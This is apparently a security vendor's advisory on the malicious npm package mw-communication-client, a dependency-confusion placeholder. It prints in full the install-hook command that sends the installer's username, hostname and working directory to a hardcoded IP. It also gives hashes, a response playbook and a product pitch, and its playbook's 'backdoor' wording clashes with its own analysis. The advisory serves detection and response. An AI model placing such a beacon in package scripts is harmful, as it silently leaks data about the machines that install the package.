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Malicious package

mw-communication-clientnpm

Advisory published Updated

mw-communication-client is a confirmed malicious npm package (MAL-2026-18370) that opens a backdoor for remote access (malicious versions 1.0.1, 10.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in mw-communication-client (npm)

MAL-2026-18370
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall mw-communication-client

What this malware does

mw-communication-client was published to npm on 2026-10-27 from 06:55:13 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 10.0.0, 1.0.1. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 1.0.1 is the latest version at the time of this report.

package.json declares a preinstall and a postinstall script, which npm runs on every install:

node -e "require('http').get('http://38.242.235.206/depconf/mw-communication-client/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})"

The postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The README and the package description call the package a dependency-confusion proof of concept for a bug bounty program and say nothing else is done; the code matches that description. The name is a dependency-confusion candidate for an internal package of the named company, and the version numbers 1.0.0 and 10.0.0 are chosen so that a loose version range resolves to the public package. Nothing is executed beyond the two HTTP requests, and no data other than the three values above is sent.

Tarball sha256: 10.0.0: f8aa10f8f000515af3ded7f91db57c266abcc30cecb68565b8fba4ab136a0b11 1.0.1: f7ea5239784db30ae39f8b3108b85561d52d1771af4f4e41b603a959824ea722

Analysis was static only; nothing was executed.

mw-communication-client is a dependency-confusion placeholder targeting a private 'mw-' scoped name. index.js exports an empty object; the package has no functional code. Both preinstall and postinstall lifecycle scripts issue plain-HTTP GET requests to the hardcoded bare IP 38.242.235.206 at paths /depconf/mw-communication-client/preinstall and /postinstall, sending the installer's OS username (process.env.USER / USERNAME), hostname (os.hostname()), and current working directory (process.cwd()) as query parameters. Any build that resolves this public name instead of the intended private package automatically beacons identity and internal path information to the third-party endpoint on npm install, disclosing which organizations and build environments are susceptible to dependency confusion on this name. The 'benign PoC / bug bounty' self-labeling in the package description does not change the behavior: the installer's identity and workspace path leave the host to an attacker-controlled destination without consent.

Malicious versions

2 flagged
1.0.110.0.0

Indicators of compromise (SHA-256)

156130368566461b338a19475fd466deaf8e4de6b866246f79a7faf190502141
b0235db71cd6b47182ef6aff38ea83b51d271063239097965ed6912fd82f5287

Detection & response playbook

Backdoor / remote access
  1. Find it

    Search your lockfiles and build artifacts for mw-communication-client (2 malicious versions).

  2. If you installed it — respond

    mw-communication-client establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If mw-communication-client was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. mw-communication-client on npm has been identified as a malicious package (versions 1.0.1, 10.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-022033IN-MAL-2026-022036

References

Credits

  • Amazon Inspector · finder
  • r-bedekar · analyst

Detect & block this

O3 blocks mw-communication-client-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Explore

mw-communication-client (npm) malicious package — MAL-2026-18370 | O3 Security